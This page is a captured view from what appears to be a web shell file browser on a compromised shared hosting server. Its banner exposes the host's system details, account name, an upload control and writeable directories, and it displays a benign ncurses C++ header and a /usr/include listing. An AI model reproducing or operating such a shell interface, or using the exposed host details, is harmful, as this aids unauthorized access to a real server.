Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /usr/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/cursesp.h
// * This makes emacs happy -*-Mode: C++;-*-
/****************************************************************************
 * Copyright (c) 1998-2012,2014 Free Software Foundation, Inc.              *
 *                                                                          *
 * Permission is hereby granted, free of charge, to any person obtaining a  *
 * copy of this software and associated documentation files (the            *
 * "Software"), to deal in the Software without restriction, including      *
 * without limitation the rights to use, copy, modify, merge, publish,      *
 * distribute, distribute with modifications, sublicense, and/or sell       *
 * copies of the Software, and to permit persons to whom the Software is    *
 * furnished to do so, subject to the following conditions:                 *
 *                                                                          *
 * The above copyright notice and this permission notice shall be included  *
 * in all copies or substantial portions of the Software.                   *
 *                                                                          *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS  *
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF               *
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.   *
 * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,   *
 * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR    *
 * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR    *
 * THE USE OR OTHER DEALINGS IN THE SOFTWARE.                               *
 *                                                                          *
 * Except as contained in this notice, the name(s) of the above copyright   *
 * holders shall not be used in advertising or otherwise to promote the     *
 * sale, use or other dealings in this Software without prior written       *
 * authorization.                                                           *
 ****************************************************************************/

/****************************************************************************
 *   Author: Juergen Pfeifer, 1997                                          *
 ****************************************************************************/

#ifndef NCURSES_CURSESP_H_incl
#define NCURSES_CURSESP_H_incl 1

// $Id: cursesp.h,v 1.31 2014/08/09 22:06:26 Adam.Jiang Exp $

#include <cursesw.h>

extern "C" {
#  include <panel.h>
}

class NCURSES_IMPEXP NCursesPanel
  : public NCursesWindow
{
protected:
  PANEL *p;
  static NCursesPanel *dummy;

private:
  // This structure is used for the panel's user data field to link the
  // PANEL* to the C++ object and to provide extra space for a user pointer.
  typedef struct {
    void*               m_user;      // the pointer for the user's data
    const NCursesPanel* m_back;      // backward pointer to C++ object
    const PANEL*        m_owner;     // the panel itself
  } UserHook;

  inline UserHook *UserPointer()
  {
    UserHook* uptr = reinterpret_cast<UserHook*>(
                           const_cast<void *>(::panel_userptr (p)));
    return uptr;
  }

  void init();                       // Initialize the panel object

protected:
  void set_user(void *user)
  {
    UserHook* uptr = UserPointer();
    if (uptr != 0 && uptr->m_back==this && uptr->m_owner==p) {
      uptr->m_user = user;
    }
  }
  // Set the user pointer of the panel.

  void *get_user()
  {
    UserHook* uptr = UserPointer();
    void *result = 0;
    if (uptr != 0 && uptr->m_back==this && uptr->m_owner==p)
      result = uptr->m_user;
    return result;
  }

  void OnError (int err) const THROW2(NCursesException const, NCursesPanelException)
  {
    if (err==ERR)
      THROW(new NCursesPanelException (this, err));
  }
  // If err is equal to the curses error indicator ERR, an error handler
  // is called.

  // Get a keystroke. Default implementation calls getch()
  virtual int getKey(void);

public:
  NCursesPanel(int nlines,
	       int ncols,
	       int begin_y = 0,
	       int begin_x = 0)
    : NCursesWindow(nlines,ncols,begin_y,begin_x), p(0)
  {
    init();
  }
  // Create a panel with this size starting at the requested position.

  NCursesPanel()
    : NCursesWindow(::stdscr), p(0)
  {
    init();
  }
  // This constructor creates the default Panel associated with the
  // ::stdscr window

  NCursesPanel& operator=(const NCursesPanel& rhs)
  {
    if (this != &rhs) {
      *this = rhs;
      NCursesWindow::operator=(rhs);
    }
    return *this;
  }

  NCursesPanel(const NCursesPanel& rhs)
    : NCursesWindow(rhs),
      p(rhs.p)
  {
  }

  virtual ~NCursesPanel();

  // basic manipulation
  inline void hide()
  {
    OnError (::hide_panel(p));
  }
  // Hide the panel. It stays in the stack but becomes invisible.

  inline void show()
  {
    OnError (::show_panel(p));
  }
  // Show the panel, i.e. make it visible.

  inline void top()
  {
    OnError (::top_panel(p));
  }
  // Make this panel the top panel in the stack.

  inline void bottom()
  {
    OnError (::bottom_panel(p));
  }
  // Make this panel the bottom panel in the stack.
  // N.B.: The panel associated with ::stdscr is always on the bottom. So
  // actually bottom() makes the panel the first above ::stdscr.

  virtual int mvwin(int y, int x)
  {
    OnError(::move_panel(p, y, x));
    return OK;
  }

  inline bool hidden() const
  {
    return (::panel_hidden (p) ? TRUE : FALSE);
  }
  // Return TRUE if the panel is hidden, FALSE otherwise.

/* The functions panel_above() and panel_below() are not reflected in
   the NCursesPanel class. The reason for this is, that we cannot
   assume that a panel retrieved by those operations is one wrapped
   by a C++ class. Although this situation might be handled, we also
   need a reverse mapping from PANEL to NCursesPanel which needs some
   redesign of the low level stuff. At the moment, we define them in the
   interface but they will always produce an error. */
  inline NCursesPanel& above() const
  {
    OnError(ERR);
    return *dummy;
  }

  inline NCursesPanel& below() const
  {
    OnError(ERR);
    return *dummy;
  }

  // Those two are rewrites of the corresponding virtual members of
  // NCursesWindow
  virtual int refresh();
  // Propagate all panel changes to the virtual screen and update the
  // physical screen.

  virtual int noutrefresh();
  // Propagate all panel changes to the virtual screen.

  static void redraw();
  // Redraw all panels.

  // decorations
  virtual void frame(const char* title=NULL,
		     const char* btitle=NULL);
  // Put a frame around the panel and put the title centered in the top line
  // and btitle in the bottom line.

  virtual void boldframe(const char* title=NULL,
			 const char* btitle=NULL);
  // Same as frame(), but use highlighted attributes.

  virtual void label(const char* topLabel,
		     const char* bottomLabel);
  // Put the title centered in the top line and btitle in the bottom line.

  virtual void centertext(int row,const char* label);
  // Put the label text centered in the specified row.
};

/* We use templates to provide a typesafe mechanism to associate
 * user data with a panel. A NCursesUserPanel<T> is a panel
 * associated with some user data of type T.
 */
template<class T> class NCursesUserPanel : public NCursesPanel
{
public:
  NCursesUserPanel (int nlines,
		    int ncols,
		    int begin_y = 0,
		    int begin_x = 0,
		    const T* p_UserData = STATIC_CAST(T*)(0))
    : NCursesPanel (nlines, ncols, begin_y, begin_x)
  {
      if (p)
	set_user (const_cast<void *>(reinterpret_cast<const void*>
				     (p_UserData)));
  };
  // This creates an user panel of the requested size with associated
  // user data pointed to by p_UserData.

  NCursesUserPanel(const T* p_UserData = STATIC_CAST(T*)(0)) : NCursesPanel()
  {
    if (p)
      set_user(const_cast<void *>(reinterpret_cast<const void*>(p_UserData)));
  };
  // This creates an user panel associated with the ::stdscr and user data
  // pointed to by p_UserData.

  virtual ~NCursesUserPanel() {};

  T* UserData (void)
  {
    return reinterpret_cast<T*>(get_user ());
  };
  // Retrieve the user data associated with the panel.

  virtual void setUserData (const T* p_UserData)
  {
    if (p)
      set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData)));
  }
  // Associate the user panel with the user data pointed to by p_UserData.
};

#endif /* NCURSES_CURSESP_H_incl */
Name
Size
Permissions
Options
GL
--
drwxr-xr-x
X11
--
drwxr-xr-x
apache2
--
drwxr-xr-x
arpa
--
drwxr-xr-x
asm
--
drwxr-xr-x
asm-generic
--
drwxr-xr-x
bind9
--
drwxr-xr-x
bits
--
drwxr-xr-x
bsock
--
drwxr-xr-x
c++
--
drwxr-xr-x
criu
--
drwxr-xr-x
curl
--
drwxr-xr-x
drm
--
drwxr-xr-x
e2p
--
drwxr-xr-x
et
--
drwxr-xr-x
event2
--
drwxr-xr-x
ext2fs
--
drwxr-xr-x
finclude
--
drwxr-xr-x
fontconfig
--
drwxr-xr-x
freetype2
--
drwxr-xr-x
fstrm
--
drwxr-xr-x
gdb
--
drwxr-xr-x
gdbm
--
drwxr-xr-x
gnu
--
drwxr-xr-x
google
--
drwxr-xr-x
gssapi
--
drwxr-xr-x
gssrpc
--
drwxr-xr-x
jemalloc
--
drwxr-xr-x
json-c
--
drwxr-xr-x
kadm5
--
drwxr-xr-x
krb5
--
drwxr-xr-x
libdb
--
drwxr-xr-x
libexslt
--
drwxr-xr-x
libltdl
--
drwxr-xr-x
libpng16
--
drwxr-xr-x
libxml2
--
drwxr-xr-x
libxslt
--
drwxr-xr-x
linux
--
drwxr-xr-x
lua-5.1
--
drwxr-xr-x
lzma
--
drwxr-xr-x
misc
--
drwxr-xr-x
mtd
--
drwxr-xr-x
mysql
--
drwxr-xr-x
ncurses
--
drwxr-xr-x
ncursesw
--
drwxr-xr-x
net
--
drwxr-xr-x
netash
--
drwxr-xr-x
netatalk
--
drwxr-xr-x
netax25
--
drwxr-xr-x
neteconet
--
drwxr-xr-x
netinet
--
drwxr-xr-x
netipx
--
drwxr-xr-x
netiucv
--
drwxr-xr-x
netpacket
--
drwxr-xr-x
netrom
--
drwxr-xr-x
netrose
--
drwxr-xr-x
nfs
--
drwxr-xr-x
openssl
--
drwxr-xr-x
perf
--
drwxr-xr-x
protobuf-c
--
drwxr-xr-x
protocols
--
drwxr-xr-x
python2.7
--
drwxr-xr-x
python3.6m
--
drwxr-xr-x
python3.8
--
drwxr-xr-x
rdma
--
drwxr-xr-x
rpc
--
drwxr-xr-x
sasl
--
drwxr-xr-x
scsi
--
drwxr-xr-x
security
--
drwxr-xr-x
selinux
--
drwxr-xr-x
sepol
--
drwxr-xr-x
sound
--
drwxr-xr-x
sys
--
drwxr-xr-x
uuid
--
drwxr-xr-x
video
--
drwxr-xr-x
webp
--
drwxr-xr-x
xcb
--
drwxr-xr-x
xen
--
drwxr-xr-x
FlexLexer.h
6.731 KB
-rw-r--r--
a.out.h
4.248 KB
-rw-r--r--
aio.h
7.281 KB
-rw-r--r--
aliases.h
1.983 KB
-rw-r--r--
alloca.h
1.175 KB
-rw-r--r--
ar.h
1.689 KB
-rw-r--r--
argp.h
24.818 KB
-rw-r--r--
argz.h
5.908 KB
-rw-r--r--
assert.h
4.454 KB
-rw-r--r--
autosprintf.h
2.327 KB
-rw-r--r--
byteswap.h
1.371 KB
-rw-r--r--
bzlib.h
6.099 KB
-rw-r--r--
com_err.h
2.068 KB
-rw-r--r--
complex.h
6.995 KB
-rw-r--r--
cpio.h
2.214 KB
-rw-r--r--
cpuidle.h
0.824 KB
-rw-r--r--
crypt.h
8.904 KB
-rw-r--r--
ctype.h
10.706 KB
-rw-r--r--
curses.h
97.29 KB
-rw-r--r--
cursesapp.h
6.616 KB
-rw-r--r--
cursesf.h
27.196 KB
-rw-r--r--
cursesm.h
19.216 KB
-rw-r--r--
cursesp.h
8.399 KB
-rw-r--r--
cursesw.h
48.554 KB
-rw-r--r--
cursslk.h
7.133 KB
-rw-r--r--
db.h
120.22 KB
-r--r--r--
db_185.h
5.843 KB
-r--r--r--
dbm.h
1.381 KB
-rw-r--r--
dirent.h
12.191 KB
-rw-r--r--
dlfcn.h
7.068 KB
-rw-r--r--
elf.h
170.73 KB
-rw-r--r--
endian.h
3.114 KB
-rw-r--r--
entities.h
4.814 KB
-rw-r--r--
envz.h
2.799 KB
-rw-r--r--
err.h
2.157 KB
-rw-r--r--
errno.h
1.639 KB
-rw-r--r--
error.h
1.991 KB
-rw-r--r--
eti.h
2.823 KB
-rw-r--r--
etip.h
9.475 KB
-rw-r--r--
evdns.h
1.972 KB
-rw-r--r--
event.h
2.68 KB
-rw-r--r--
evhttp.h
1.987 KB
-rw-r--r--
evrpc.h
1.968 KB
-rw-r--r--
evutil.h
1.74 KB
-rw-r--r--
execinfo.h
1.486 KB
-rw-r--r--
expat.h
43.235 KB
-rw-r--r--
expat_config.h
3.818 KB
-rw-r--r--
expat_external.h
5.888 KB
-rw-r--r--
fcntl.h
10.701 KB
-rw-r--r--
features.h
15.686 KB
-rw-r--r--
fenv.h
5.72 KB
-rw-r--r--
fmtmsg.h
3.163 KB
-rw-r--r--
fnmatch.h
2.241 KB
-rw-r--r--
form.h
18.165 KB
-rw-r--r--
fpu_control.h
3.499 KB
-rw-r--r--
fstab.h
3.038 KB
-rw-r--r--
fstrm.h
12.712 KB
-rw-r--r--
fts.h
8.176 KB
-rw-r--r--
ftw.h
5.128 KB
-rw-r--r--
gconv.h
4.307 KB
-rw-r--r--
gcrypt.h
68.712 KB
-rw-r--r--
gd.h
56.423 KB
-rw-r--r--
gd_color_map.h
0.467 KB
-rw-r--r--
gd_errors.h
1.468 KB
-rw-r--r--
gd_io.h
3.052 KB
-rw-r--r--
gdbm.h
10.103 KB
-rw-r--r--
gdcache.h
2.83 KB
-rw-r--r--
gdfontg.h
0.54 KB
-rw-r--r--
gdfontl.h
0.538 KB
-rw-r--r--
gdfontmb.h
0.507 KB
-rw-r--r--
gdfonts.h
0.503 KB
-rw-r--r--
gdfontt.h
0.533 KB
-rw-r--r--
gdfx.h
0.485 KB
-rw-r--r--
gdpp.h
50.939 KB
-rw-r--r--
getopt.h
1.434 KB
-rw-r--r--
gettext-po.h
15.17 KB
-rw-r--r--
glob.h
6.459 KB
-rw-r--r--
gnu-versions.h
2.287 KB
-rw-r--r--
gnumake.h
2.844 KB
-rw-r--r--
gpg-error.h
66.288 KB
-rw-r--r--
gpgrt.h
66.288 KB
-rw-r--r--
grp.h
6.529 KB
-rw-r--r--
gshadow.h
4.422 KB
-rw-r--r--
gssapi.h
0.177 KB
-rw-r--r--
iconv.h
1.813 KB
-rw-r--r--
idn-free.h
2.414 KB
-rw-r--r--
idn-int.h
0.02 KB
-rw-r--r--
idna.h
3.48 KB
-rw-r--r--
ieee754.h
4.795 KB
-rw-r--r--
ifaddrs.h
2.773 KB
-rw-r--r--
inttypes.h
11.613 KB
-rw-r--r--
jconfig-64.h
2.173 KB
-rw-r--r--
jconfig.h
0.24 KB
-rw-r--r--
jerror.h
14.734 KB
-rw-r--r--
jmorecfg.h
14.696 KB
-rw-r--r--
jpegint.h
15.221 KB
-rw-r--r--
jpeglib.h
48.706 KB
-rw-r--r--
kdb.h
67.661 KB
-rw-r--r--
keyutils.h
7.518 KB
-rw-r--r--
krad.h
8.724 KB
-rw-r--r--
krb5.h
0.393 KB
-rw-r--r--
langinfo.h
17.43 KB
-rw-r--r--
lastlog.h
0.123 KB
-rw-r--r--
lber.h
14.952 KB
-rw-r--r--
lber_types.h
1.434 KB
-rw-r--r--
ldap.h
63.57 KB
-rw-r--r--
ldap_cdefs.h
9.244 KB
-rw-r--r--
ldap_features.h
1.771 KB
-rw-r--r--
ldap_schema.h
9.229 KB
-rw-r--r--
ldap_utf8.h
3.387 KB
-rw-r--r--
ldif.h
4.582 KB
-rw-r--r--
libaio.h
8.728 KB
-rw-r--r--
libgen.h
1.353 KB
-rw-r--r--
libintl.h
4.472 KB
-rw-r--r--
limits.h
5.285 KB
-rw-r--r--
link.h
7.049 KB
-rw-r--r--
locale.h
7.494 KB
-rw-r--r--
ltdl.h
5.575 KB
-rw-r--r--
lzma.h
9.587 KB
-rw-r--r--
magic.h
5.457 KB
-rw-r--r--
malloc.h
5.959 KB
-rw-r--r--
math.h
52.068 KB
-rw-r--r--
mcheck.h
2.377 KB
-rw-r--r--
memory.h
0.933 KB
-rw-r--r--
menu.h
11.911 KB
-rw-r--r--
mntent.h
3.279 KB
-rw-r--r--
monetary.h
1.761 KB
-rw-r--r--
mqueue.h
3.671 KB
-rw-r--r--
nc_tparm.h
4.099 KB
-rw-r--r--
ncurses.h
97.29 KB
-rw-r--r--
ncurses_dll.h
4.177 KB
-rw-r--r--
ndbm.h
2.396 KB
-rw-r--r--
netdb.h
27.44 KB
-rw-r--r--
nl_types.h
1.711 KB
-rw-r--r--
nss.h
1.834 KB
-rw-r--r--
obstack.h
20.807 KB
-rw-r--r--
panel.h
4.026 KB
-rw-r--r--
paths.h
2.907 KB
-rw-r--r--
pcre.h
30.975 KB
-rw-r--r--
pcre2.h
43.752 KB
-rw-r--r--
pcre2posix.h
5.668 KB
-rw-r--r--
pcre_scanner.h
6.445 KB
-rw-r--r--
pcre_stringpiece.h
6.164 KB
-rw-r--r--
pcrecpp.h
25.907 KB
-rw-r--r--
pcrecpparg.h
6.624 KB
-rw-r--r--
pcreposix.h
5.324 KB
-rw-r--r--
png.h
140.771 KB
-rw-r--r--
pngconf.h
22.31 KB
-rw-r--r--
pnglibconf.h
7.39 KB
-rw-r--r--
poll.h
0.021 KB
-rw-r--r--
pr29.h
2.073 KB
-rw-r--r--
printf.h
6.641 KB
-rw-r--r--
proc_service.h
3.395 KB
-rw-r--r--
profile.h
11.869 KB
-rw-r--r--
pthread.h
40.302 KB
-rw-r--r--
pty.h
1.532 KB
-rw-r--r--
punycode.h
9.164 KB
-rw-r--r--
pwd.h
6.014 KB
-rw-r--r--
re_comp.h
0.939 KB
-rw-r--r--
regex.h
24.136 KB
-rw-r--r--
regexp.h
1.413 KB
-rw-r--r--
resolv.h
11.868 KB
-rw-r--r--
sched.h
4.621 KB
-rw-r--r--
search.h
5.101 KB
-rw-r--r--
semaphore.h
2.343 KB
-rw-r--r--
setjmp.h
3.583 KB
-rw-r--r--
sgtty.h
1.312 KB
-rw-r--r--
shadow.h
5.343 KB
-rw-r--r--
signal.h
11.956 KB
-rw-r--r--
slapi-plugin.h
37.452 KB
-rw-r--r--
spawn.h
6.533 KB
-rw-r--r--
stab.h
0.258 KB
-rw-r--r--
stdc-predef.h
2.235 KB
-rw-r--r--
stdint.h
8.271 KB
-rw-r--r--
stdio.h
29.461 KB
-rw-r--r--
stdio_ext.h
2.733 KB
-rw-r--r--
stdlib.h
34.817 KB
-rw-r--r--
string.h
17.175 KB
-rw-r--r--
stringprep.h
8.034 KB
-rw-r--r--
strings.h
4.641 KB
-rw-r--r--
syscall.h
0.024 KB
-rw-r--r--
sysexits.h
5.109 KB
-rw-r--r--
syslog.h
0.023 KB
-rw-r--r--
tar.h
3.696 KB
-rw-r--r--
term.h
40.225 KB
-rw-r--r--
term_entry.h
8.555 KB
-rw-r--r--
termcap.h
3.392 KB
-rw-r--r--
termio.h
0.209 KB
-rw-r--r--
termios.h
3.514 KB
-rw-r--r--
tgmath.h
30.751 KB
-rw-r--r--
thread_db.h
15.647 KB
-rw-r--r--
threads.h
6.499 KB
-rw-r--r--
tic.h
13.318 KB
-rw-r--r--
tiff.h
35.14 KB
-rw-r--r--
tiffconf-64.h
3.349 KB
-rw-r--r--
tiffconf.h
0.244 KB
-rw-r--r--
tiffio.h
22.683 KB
-rw-r--r--
tiffio.hxx
1.662 KB
-rw-r--r--
tiffvers.h
0.4 KB
-rw-r--r--
time.h
10.117 KB
-rw-r--r--
tld.h
4.541 KB
-rw-r--r--
ttyent.h
2.436 KB
-rw-r--r--
uchar.h
1.954 KB
-rw-r--r--
ucontext.h
1.988 KB
-rw-r--r--
ulimit.h
1.546 KB
-rw-r--r--
unctrl.h
3.026 KB
-rw-r--r--
unistd.h
41.736 KB
-rw-r--r--
utime.h
1.466 KB
-rw-r--r--
utmp.h
3.146 KB
-rw-r--r--
utmpx.h
4.003 KB
-rw-r--r--
values.h
1.909 KB
-rw-r--r--
verto-module.h
6.484 KB
-rw-r--r--
verto.h
18.981 KB
-rw-r--r--
wait.h
0.021 KB
-rw-r--r--
wchar.h
30.382 KB
-rw-r--r--
wctype.h
5.418 KB
-rw-r--r--
wordexp.h
2.442 KB
-rw-r--r--
zconf.h
15.881 KB
-rw-r--r--
zlib.h
94.005 KB
-rw-r--r--